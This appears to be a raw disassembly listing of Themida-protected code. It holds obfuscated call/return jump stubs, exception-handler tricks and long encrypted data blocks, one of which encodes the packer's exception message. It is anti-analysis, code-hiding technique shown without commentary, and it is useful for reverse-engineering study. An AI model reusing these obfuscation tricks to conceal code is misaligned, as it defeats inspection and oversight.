call sub_5B4C51
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4C51 proc near ; CODE XREF: Themida_:005B4C49p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5B4C51 endp
; ---------------------------------------------------------------------------
db 0F2h, 0D2h, 0DBh
dd 507AF930h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 9FC35343h, 998A9437h, 322EAA17h, 68E0Fh, 0BD890000h
dd 7A82D49h, 35FF64h, 9000000h, 0A826319Dh, 25896407h
dd 0
dd 68B0F60h, 9000000h, 0A81CBD8Dh, 1D850B07h, 6107A829h
dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h
dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh
dd 2AD185C7h, 107A8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B4CF2: ; CODE XREF: Themida_:005B4B8Bj
pop large dword ptr fs:0
add esp, 4
push 0
push ecx
call sub_5B4D07
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4D07 proc near ; CODE XREF: Themida_:005B4CFFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5B4D07 endp
; ---------------------------------------------------------------------------
db 11h
dd 0B70F8116h, 6880FF8h, 89000000h, 0A80815B5h, 0FC08B07h
dd 58Eh, 72A6BF00h, 0BD8331A2h, 7A827F9h, 83097500h, 0A80605BDh
dd 19740007h, 0C08B5350h, 43DB8h, 0CD858900h, 8D07A80Eh
dd 0AAB08A9Dh, 5BD3FF07h, 5BD8358h, 7A806h, 53501774h
dd 43DB8h, 0CD858900h, 8D07A80Eh, 0AAAD2B9Dh, 5BD3FF07h
dd 0E18D0B58h, 0F07A80Bh, 0C08BD3B7h, 147E9h, 400h, 392E3100h
dd 3031h, 6 dup(0)
dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
dd 20202020h, 25203D20h, 0D0A64h, 2975BD83h, 0F0007A8h
dd 12D84h, 42858D00h, 5007AAABh, 0AAAC858Dh, 685007AAh
dd 80000001h, 0AB5295FFh, 858D07AAh, 7AB3928h, 32858D50h
dd 5007AB39h, 6A006Ah, 0AAC0858Dh, 0FF5007AAh, 0AAAB42B5h
dd 6595FF07h, 8D07A81Dh, 0AB392885h, 858D5007h, 7AB3936h
dd 6A006A50h, 0D2858D00h, 5007AAAAh, 0AB42B5FFh, 95FF07AAh
dd 7A81D65h, 3928858Dh, 8D5007ABh, 0AB394285h, 6A5007h
dd 858D006Ah, 7AAAB1Fh, 42B5FF50h, 0FF07AAABh, 0A81D6595h
dd 28858D07h, 5007AB39h, 394A858Dh, 6A5007ABh, 8D006A00h
dd 0AAAB3D85h, 0B5FF5007h, 7AAAB42h, 1D6595FFh, 858D07A8h
dd 7AB3928h, 46858D50h, 5007AB39h, 6A006Ah, 0AB26858Dh
dd 0FF5007AAh, 0AAAB42B5h, 6595FF07h, 8D07A81Dh, 0AB392885h
dd 858D5007h, 7AB393Ah, 6A006A50h, 2E858D00h, 5007AAABh
dd 0AB42B5FFh, 95FF07AAh, 7A81D65h, 3928858Dh, 8D5007ABh
dd 0AB393E85h, 6A5007h, 858D006Ah, 7AAAB35h, 42B5FF50h
dd 0FF07AAABh, 0A81D6595h, 42B5FF07h, 0FF07AAABh, 0A827C595h
dd 0A2E907h, 0BD830000h, 7A829E1h, 95840F00h, 83000000h
dd 0A806A5BDh, 850F0007h, 11h, 25C1958Bh, 0C28107A8h, 1CF8h
dd 0FE9h, 0D5958D00h, 8B07A822h, 0C2813452h, 3BD4C340h
dd 2F559589h, 0BD8307A8h, 7A82F55h, 55840F00h, 8B000000h
dd 0A82F559Dh, 4CC38307h, 8589038Bh, 7AB3932h, 2F559D8Bh
dd 0C38307A8h, 89038B50h, 0AB393685h, 559D8B07h, 8307A82Fh
dd 38B54C3h, 39428589h, 9D8B07ABh, 7A82F55h, 8B58C383h
dd 46858903h, 8B07AB39h, 0A82F559Dh, 5CC38307h, 8589038Bh
dd 7AB393Ah, 2975BD83h, 0F0007A8h, 0D85h, 0E1BD8300h, 7A829h
dd 68840Fh, 0B5FF0000h, 7AB394Ah, 393EB5FFh, 0B5FF07ABh
dd 7AB393Ah, 3946B5FFh, 0B5FF07ABh, 7AB3942h, 3936B5FFh
dd 0B5FF07ABh, 7AB3932h, 392C858Dh, 8D5007ABh, 0AB396485h
dd 858D5007h, 7A8111Dh, 4195FF50h, 8307A82Fh, 406A24C4h
dd 394E858Dh, 8D5007ABh, 0A8111D85h, 6A5007h, 29AD95FFh
dd 16A07A8h, 0A3D95FFh, 0C18B07A8h, 55006A60h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 47699FE2h
dd 8BA9EB68h, 0F9BD83C0h, 7A827h, 0BD830975h, 7A80605h
dd 50197400h, 0B8C08B53h, 40Eh, 25858589h, 9D8D07A8h, 7AAB023h
dd 585BD3FFh, 605BD83h, 740007A8h, 0B8535017h, 40Eh, 25858589h
dd 9D8D07A8h, 7AAAD12h, 585BD3FFh, 6E9h, 0C3EA2D00h, 8179A163h
dd 8996DFC9h, 6AC08B57h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 3A2C355h, 9042F14Dh
dd 12E9EE9Dh, 0BD83AEB2h, 7A807CDh, 17840F00h, 8B000000h
dd 860F60CAh, 2, 5B52FA8Ah, 272E961h, 0BA660000h, 0DF8C2F5Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E7C35545h
dd 6B748A71h, 0F7669037h, 0F0004C7h, 23F85h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0C2C37BA6h, 0BD835E50h, 7A8294Dh, 2B850F00h, 80000000h
dd 9E928EAh, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0F596C355h, 114E281h
dd 0FF2B3D06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 22C35141h, 16A93595h, 0DA8CBA66h, 3FE19D8Dh, 6A07ABh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 7BF80FC3h, 0F856456Dh, 800F505Eh, 8, 8D0F57h, 5A000000h
dd 81241C89h, 7A025BC9h, 0E6E9815Ch, 6407A655h, 35FFh
dd 0CE80000h, 2000000h, 0E87CAEDFh, 4F2F2599h, 66F569FDh
dd 59EDD8BEh, 91C28166h, 25896483h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5B532F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B532F proc near ; CODE XREF: Themida_:005B5327p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5B532F endp
; ---------------------------------------------------------------------------
db 86h
dd 0EFB5DCEEh, 0E8B0Fh, 9E90000h, 0B9000000h, 949DA60Dh
dd 22F9C858h, 6AC48Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 1CD48C3h, 6A00EBh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0AD8528C3h
dd 49F27C38h, 0B70FB228h, 9DB966D1h, 7540B90Ch, 0BF0F26C9h
dd 58F64D7h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5B53BF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B53BF proc near ; CODE XREF: Themida_:005B53B7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B53BF endp
; ---------------------------------------------------------------------------
push es
adc dword ptr [edx-4E45999Fh], 0D78B6629h
add esp, 4
or esi, 130F05B5h
or eax, eax
jz loc_5B5474
clc
popa
push 0
push esi
call sub_5B53F8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B53F8 proc near ; CODE XREF: Themida_:005B53F0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5B53F8 endp
; ---------------------------------------------------------------------------
ficomp dword ptr [edi]
inc eax
xchg eax, ebx
and ebx, [eax]
or cx, 0CF06h
lea edi, [ebp+7A871FBh]
mov ecx, edx
mov eax, 1
mov edx, edi
jmp edi
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5B542F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B542F proc near ; CODE XREF: Themida_:005B5427p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5B542F endp
; ---------------------------------------------------------------------------
and al, [ecx-13h]
aam 3
push edi
mov cx, 0FCAh
pop esi
push edi
mov ebx, [esp+10h]
mov eax, [ebx+0B8h]
movzx eax, byte ptr [eax+1]
dec al
mov [ebx+0B0h], eax
add dword ptr [ebx+0B8h], 2
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
add dh, 5
and dx, 36E0h
loc_5B5474: ; CODE XREF: Themida_:005B53E5j
popa
push 0
push eax
call sub_5B5480
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B5480 proc near ; CODE XREF: Themida_:005B5478p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5B5480 endp
; ---------------------------------------------------------------------------
xor [edx], ah
and eax, 0CAA36F3Ah
cmc
mov eax, eax
push 0
push eax
call sub_5B54A5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B54A5 proc near ; CODE XREF: Themida_:005B549Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B54A5 endp
; ---------------------------------------------------------------------------
db 60h, 7Eh, 0B9h
dd 32EC2138h, 27F9BD83h, 750007A8h, 5BD8309h, 7A806h, 53501974h
dd 0EB8C08Bh, 89000004h, 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h
dd 83585BD3h, 0A80605BDh, 17740007h, 0EB85350h, 89000004h
dd 0A80ECD85h, 2B9D8D07h, 0FF07AAADh, 6A585BD3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 7B58C356h, 6E9h, 5D3A0300h, 80AF6168h, 0C08B46DDh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h, 5356C566h
dd 0C28B595Eh, 7E8h, 0E38BB400h, 0BC55CB5Fh, 0AE9h, 33B97200h
dd 35C4FDA0h, 5A8EAC42h, 28C0Fh, 0DF8B0000h, 6974C281h
dd 12E90000h, 6000000h, 3287053h, 1B327493h, 0A047711Ah
dd 7FD36481h, 0B9ACh, 8B660000h, 0A048BD8h, 14E9h, 0C6FB5D00h
dd 7673403Fh, 0F741CCC6h, 6E64964Ch, 857E155Ch, 4BE88123h
dd 0F51EB68h, 285h, 81FC8A00h, 0D25F65C0h, 0DECB811Ch
dd 811577DAh, 89DA92E8h, 11E82Bh, 35470000h, 0A2E2E1E3h
dd 76853BEh, 215A2A18h, 5B5E9D00h, 600A0489h, 3EECD181h
dd 8A500CDAh, 0E8615BD1h, 0Bh, 359522C0h, 4D8916A9h, 6075C08Fh
dd 0BF66D18Bh, 5F617FD1h, 8104E983h, 0FF9758F9h, 76850FFFh
dd 0B7FFFFFFh, 1718EB5Ah, 9B46F3h, 4 dup(0)
dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0AB41EDEDh
dd 4C26107h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h
dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h
dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 7AB4225h, 0F000E681h
dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 7AB4229h
dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 55858B00h, 8607A82Fh
dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
dd 74FF50FFh, 95FF0824h, 7A81AF5h, 4C010F50h, 8358FE24h
dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
dd 0FC00A03h, 984h, 55858B00h, 0C607A82Fh, 0FF580000h
dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
dd 38840Fh, 2BB0000h, 8B000000h, 0A82F5585h, 0A188607h
dd 0F6850FDBh, 0C7FFFFFFh, 0A8150D85h, 7, 24448B00h, 988B08h
dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 7A8150Dh
dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah
dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh
dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h
dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 7AB41CAh, 1
dd 4C010F50h, 858FFE24h, 7AB41CEh, 41C6858Dh, 0BD8D07ABh
dd 7AB41CEh, 23E93889h, 8D000000h, 0A822D585h, 38408B07h
dd 46F31705h, 0C685899Bh, 8D07AB41h, 0A822D585h, 3C408B07h
dd 41CA8589h, 858D07ABh, 7AB41E3h, 1AF58589h, 87E907A8h
dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h
dd 0
dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h
dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 7AB4456h
dd 30B98589h, 858D07A8h, 7AB447Eh, 0E158589h, 858D07A8h
dd 7AB44A6h, 1CC18589h, 8EB07A8h, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B59F4
; ---------------------------------------------------------------------------
db 60h, 52h, 0Fh
; ---------------------------------------------------------------------------
add [esp-2], ecx
pop edx
add edx, 24h
loc_5B5984: ; CODE XREF: Themida_:005B59BBj
mov eax, [ebp+7A806A5h]
lea eax, [ebp+7AB90DBh]
mov ecx, [eax]
mov ecx, [eax+1000h]
mov ecx, [edx]
mov cx, [edx-4]
mov [ebp+7AB4507h], ecx
cmp dword ptr [ebp+7A8294Dh], 0
jz loc_5B59C0
pusha
push 0
call dword ptr [ebp+7A80D21h]
popa
jmp loc_5B5984
; ---------------------------------------------------------------------------
loc_5B59C0: ; CODE XREF: Themida_:005B59ABj
mov [edx-4], si
ror esi, 10h
mov [edx+2], si
push edx
int 4 ; - internal hardware - OVERFLOW
; Generated by INTO instruction if OF flag is set. If flag is not set, INTO
; is effectively a NOP.
pop edx
mov [ebp+7AB4503h], eax
mov esi, [ebp+7AB4507h]
ror esi, 10h
mov [edx+2], si
mov esi, [ebp+7AB4507h]
mov [edx-4], si
popa
mov eax, [ebp+7AB4503h]
retn
; ---------------------------------------------------------------------------
loc_5B59F4: ; CODE XREF: Themida_:005B5974j
lea edx, [ebp+7A81589h]
mov [ebp+7A82F55h], edx
mov [ebp+7A82981h], edx
inc dword ptr [ebp+7A82981h]
mov byte ptr [ebp+7A80619h], 53h
push 0FCB148D8h
push dword ptr [ebp+7A81895h]
lea eax, [ebp+7A83BDFh]
call eax
mov [ebp+7A80D21h], eax
lea eax, [ebp+7AB41FDh]
mov [ebp+7A8060Dh], eax
jmp short loc_5B5A5A
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B5A5A: ; CODE XREF: Themida_:005B5A38j
jmp loc_5B6001
; ---------------------------------------------------------------------------
jmp loc_5B5FFA
; ---------------------------------------------------------------------------
push 7AB47A7h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4858h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB49FEh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4A7Ch
jmp loc_58941B
; ---------------------------------------------------------------------------
dd 0CFE4F3A4h, 0C2136E6h, 4D627523h, 8CA1B664h, 0D2E7F0A3h
dd 0FDA005C4h, 3DDCC5DAh, 7F1C051Ah, 0B85A4358h, 0BAA8A9Fh
dd 0AE2A8FC5h, 4DFB95CBh, 3B0611C7h, 0E9CA80A2h, 0FCE56792h
dd 587480B6h, 5E7F86D3h, 73F52B71h, 0F4FBD358h, 74B2ECDCh
dd 0B4CD5358h, 0F8D59D49h, 2D2C9BA8h, 2A000000h, 597081BAh
dd 1D2648D3h, 0E09CECBh, 0AABC7643h, 4FF30B63h, 0DB210EC6h
dd 0DB04388Eh, 0C854F494h, 0D0996F1Ch, 24569AAFh, 98000000h
dd 597080BAh, 0B1B5A2D3h, 5A27F2E5h, 0B9064C39h, 80DB04B6h
dd 4FB69E5Eh, 0DDD28C8Bh, 66263ED5h, 0AB5E4A5Fh, 0E6B1A672h
dd 84934819h, 0F1D4ECB9h, 0DB653027h, 535970A0h, 0AC3BA6B7h
dd 2CD6EBECh, 7A9D3D25h, 0D4C1E2AFh, 5980548Eh, 66535A53h
dd 8095CB11h, 949B5359h, 70229F7Ch, 27F2E5B7h, 0F1276D5Ah
dd 0F753597Fh, 10BACFF0h, 8DE2CF07h, 0BCFC8254h, 2D85840Fh
dd 61FAC5E6h, 59BCE51Bh, 0C3E4EB53h, 673225F2h, 0FD92829Ah
dd 35B01C3h, 439831FCh, 0C472A8EEh, 71785B01h, 1C45D93h
dd 445C635Bh, 1C41A54h, 0B11C355Bh, 0F0514D05h, 0A078B163h
dd 651FECB7h, 0DC115049h, 9253DC9h, 6Fh, 15110607h, 46335443h
dd 4B5D600h, 0E8D5DCDBh, 0FBE8EFAFh, 3A0512C2h, 292E556Dh
dd 0B5588ED4h, 575EDB04h, 9DBA5C3Fh, 0E1EA93A5h, 0B1891EF4h
dd 32Ah, 43587F20h, 889DBA5Ah, 0C9DEF99Fh, 81D3AE0h, 465B7C1Fh
dd 41149138h, 81584156h, 0C3988196h, 4D6BFD4h, 7F1EFE13h
dd 0AE290339h, 0C16F09CBh, 2F56Ch, 0BA5C9500h, 0C79F859Dh
dd 0B13B0611h, 0D3597077h, 5970934Dh, 703269D3h, 0C0F9D359h
dd 0F3E3FB1Ch, 0D35970B9h, 5970558Fh, 6FF12BD3h, 96B89359h
dd 97DD4548h, 9358D461h, 0D8A66067h, 7D2139C5h, 0FA4F3C98h
dd 250314C1h, 935953EFh, 0D7D6EEF5h, 44DD091h, 4CFD69Bh
dd 0C69A496Bh, 53DDF262h, 56BE973Bh, 3DDB1469h, 0CD12021Ah
dd 0D3A2AC90h, 0B1CED4CCh, 34C93C19h, 2795Ch, 0A9AE6F00h
dd 0EEE9AB94h, 2F28F0D9h, 7265311Ah, 0B6A1745Dh, 6F3693A1h
dd 0AD96ABACh, 0EFD8EDEAh, 2F182D2Ah, 7353686Fh, 28588ED4h
dd 0C45ECBAEh, 0A072AB16h, 0A86FECB7h, 93768EAFh, 0CB09D4C3h
dd 579D8A4Ah, 0DB04B5EEh, 0EFD8EDF4h, 8412E29h, 0C74FAE50h
dd 1E4ABD17h, 4D6532FDh, 7C9B3D26h, 32E273B1h, 1F9EFF45h
dd 9DA4E2B0h, 1F589288h, 9D7AE2B0h, 0A1064C39h, 0A7EA5B65h
dd 0D87AB3A0h, 83A5AABFh, 0FA7DEAB5h, 60435B7Dh, 44CE99BEh
dd 0EA5B0C1Ah, 0C862DB3Ch, 1EB590FAh, 0C208F516h, 0F205F371h
dd 2E837077h, 0F35D93D9h, 5C63F205h, 0F6B16144h, 0BCDB8027h
dd 4903D09Bh, 3015674Dh, 5B7091F4h, 0CAB7A072h, 82F92F75h
dd 2CFFF205h, 583B0E6h, 8EAFB6F2h, 0E50F9976h, 7F20583h
dd 5542160Eh, 0AF9CBD8Ah, 99B1A676h, 4D0C459Ah, 0BCDDFA9Ah
dd 0CA53B4A4h, 0A259F9B0h, 716635F2h, 0EDB8D9A6h, 0BD12FF20h
dd 9701CF9Bh, 41C26BBh, 51667121h, 0D6A1B668h, 6A57BF98h
dd 5B736431h, 0FCE075Ch, 0B300F008h, 0B9015BFBh, 0FB6AA0E6h
dd 6970015Bh, 0B9F37D48h, 0D4015BFBh, 0EEA450BBh, 33CA5574h
dd 1Ah, 823CDF18h, 324A5A82h, 0A77293ECh, 0BADCC2DAh, 0D3598D80h
dd 0C08h, 80BA4A00h, 47D3598Ah, 31494E0Eh, 0C511064Bh
dd 73D83D8h, 0DD35970h, 0A9EFEE06h, 0DB04B640h, 0DB743F46h
dd 0B60A4086h, 910DB04h, 59716638h, 8774A0B5h, 0ACCB2C41h
dd 332B32E2h, 0FC19F475h, 0D3B78F24h, 0C9000000h, 11FA0F08h
dd 563F5443h, 97809582h, 0D6BFD4C3h, 0EDFB1007h, 0D0AC9DCh
dd 4F480FF8h, 9384513Ah, 0D2C5957Eh, 0F83EDDBDh, 0CBAE27C2h
dd 6802EC8h, 0BC382C11h, 9963E800h, 97B8D9FEh, 4B1188AAh
dd 0DECA7DD9h, 1D72C7C6h, 5959A1D7h, 0E6A0A7D3h, 34AC5EE4h
dd 8D7D9518h, 0DB03ED24h, 1A58232Ah, 0A6ECD93Dh, 0E2ABF8A5h
dd 8DA40BABh, 672D066Ch, 0E3A84E46h, 0C257FC18h, 55EAh
dd 8D8A4B00h, 0CACD8F78h, 0B0CCCB5h, 4E490DF6h, 8A8D5039h
dd 43626775h, 89728790h, 0CBB4C9CEh, 0BF4090Eh, 57374C4Bh
dd 263C72B8h, 0A842CBAEh, 0A672ABFAh, 74DE6B1h, 0D35970D1h
dd 97AFD0D7h, 1159h, 25DC9B00h, 589D9003h, 30E87237h, 6E8F5C27h
dd 16C77056h, 19B93601h, 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh
dd 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 513CF4BFh
dd 0C181E189h, 4, 8704E983h, 895C240Ch, 89522404h, 4C281E2h
dd 83000000h, 148704EAh, 1C895C24h, 6FE96824h, 4890000h
dd 6B57BB24h, 0DBF7474Fh, 7720F381h, 0B9510731h, 155C00AEh
dd 0E1C14941h, 2CC98103h, 8119F725h, 0B22381E9h, 61E9810Fh
dd 1641B9Fh, 0EC8359CBh, 24248904h, 4240483h, 4EC8358h
dd 0BA241489h, 8, 1A89C201h, 24048B5Ah, 5E08950h, 4, 8704C083h
dd 0FF5C2404h, 835B2434h, 28E904C4h, 0EFFFD34h, 98D0A696h
db 0AFh, 0E9h
; ---------------------------------------------------------------------------
loc_5B5FFA: ; CODE XREF: Themida_:005B5A5Fj
mov eax, 7AB4AF6h
add eax, ebp
loc_5B6001: ; CODE XREF: Themida_:loc_5B5A5Aj
mov ecx, eax
jmp short $+2
jmp loc_5B655D
; ---------------------------------------------------------------------------
jmp loc_5B6556
; ---------------------------------------------------------------------------
push 7AB4C7Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4D96h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4E1Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4ED5h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB4FCAh
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0EFh, 2Eh, 29h
dd 6E692B14h, 0AFA87059h, 0F2E5B19Ah, 3621F4DDh, 0EFB61321h
dd 2D162B2Ch, 6F586D6Ah, 0AF98ADAAh, 0F3D3E8EFh, 25D80E54h
dd 44DECBAEh, 7080BA96h, 2056D359h, 0F6D35970h, 0D35970BFh
dd 59705B95h, 6FF831D3h, 94CED359h, 0B6535970h, 428875A1h
dd 5B019B2Dh, 0F81FBBF4h, 8848602Dh, 0BE5B9481h, 0FE9B8499h
dd 3C750ED9h, 0E8AA7B9Ch, 2233D7EFh, 77B005F2h, 0AD9DB5A2h
dd 62A9BF68h, 3720F62Fh, 0D8B2107Dh, 0D4EC128Bh, 0C5FB4114h
dd 0A862A9A1h, 4A17E2F5h, 7C74959Ch, 7C1A84D7h, 0CFA77F14h
dd 49000003h, 917A8F88h, 0D6BFD4C3h, 17001502h, 563F5443h
dd 6D7B9087h, 8D8A495Ch, 0CFC88F78h, 1304D1BAh, 524515FEh
dd 78BE5D3Dh, 0CBAE2442h, 0C700AE48h, 9C350017h, 0DBA6B163h
dd 0CD06F60Eh, 0AFD35970h, 0D0F29D08h, 1DBB1A0Ah, 958A40FAh
dd 2EF0D3EBh, 57033C29h, 90A87540h, 0B9DE8069h, 0B6A171EEh
dd 0E1AA6EEBh, 5924659Bh, 43646BD3h, 385FFB78h, 248FA86Dh
dd 0A8132C45h, 495E7919h, 0A84D0F43h, 335D21Bh, 0C7D00000h
dd 0AB350017h, 0D3597072h, 0F281EC15h, 0F54A3720h, 597079AFh
dd 9DBA5CD3h, 505705D2h, 92311138h, 5970164Ch, 4A151CD3h
dd 0BD5F08CDh, 0E102CF9Ah, 2433E3CCh, 0D9391B59h, 246ABFC4h
dd 0D3596FEEh, 0A633EDF4h, 3C2E6EFFh, 0C294778Fh, 0CA8D0AD5h
dd 88C2B8CDh, 4FD358CBh, 0C485FC2Dh, 4103E33Bh, 0DFE8A236h
dd 0AC6F4008h, 0E9B093ABh, 518A23EEh, 0D87C9483h, 64AA977Fh
dd 0DB00C6B7h, 8196457Eh, 0AAA2A969h, 0F4EDE1E3h, 0B77F57ECh
dd 31000002h, 79627760h, 0BEA7BCDBh, 0FFE8FD1Ah, 3E273C5Bh
dd 5563789Fh, 75623174h, 0B7A07760h, 0FB1CB9A2h, 3A5DFDE6h
dd 60A64525h, 0CBAE232Ah, 0C7E89630h, 0DA130017h, 83501B3Ch
dd 41118E6Bh, 4B0E8B56h, 70043A80h, 30AD359h, 18BCF5E2h
dd 4F6734FFh, 70383228h, 0D40ED359h, 9BD35980h, 0D7A2B562h
dd 480FF20Ah, 0C0FA844Fh, 0E2D35980h, 6EB4A175h, 0DB019361h
dd 0EDEAB067h, 3C345522h, 0F4E2963Bh, 2F5B33C8h, 0A9000002h
dd 0F1DAEFE8h, 361F3423h, 77607562h, 0B69FB4A3h, 0CDDBF0E7h
dd 0EDEAA9FCh, 2F28EFD8h, 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh
dd 0CBAE22A2h, 0AB600EA8h, 4363C89h, 0C9E1E780h, 582334E6h
dd 511C3BDBh, 7908738Ch, 0A3A9BED9h, 1BA8FBEFh, 1CA32h
dd 80BA3000h, 63D35970h, 3126F1B6h, 4512FB10h, 4D0A8752h
dd 0BDBA7F4Ah, 4315D284h, 9B683354h, 6EFD6883h, 9499AEA9h
dd 839BBC5Bh, 0A801CF83h, 5D0D2F1Bh, 2CB250Ch, 98BF5B2Ch
dd 546480h, 6620000h, 83D8C511h, 0BDA8F561h, 94657104h
dd 0CDBDD5C2h, 0DB010C04h, 400B030Ah, 0C1F4ED2Fh, 178542Ch
dd 21F20000h, 64382136h, 0A3755E73h, 0E0B69FB4h, 5AF9E2F7h
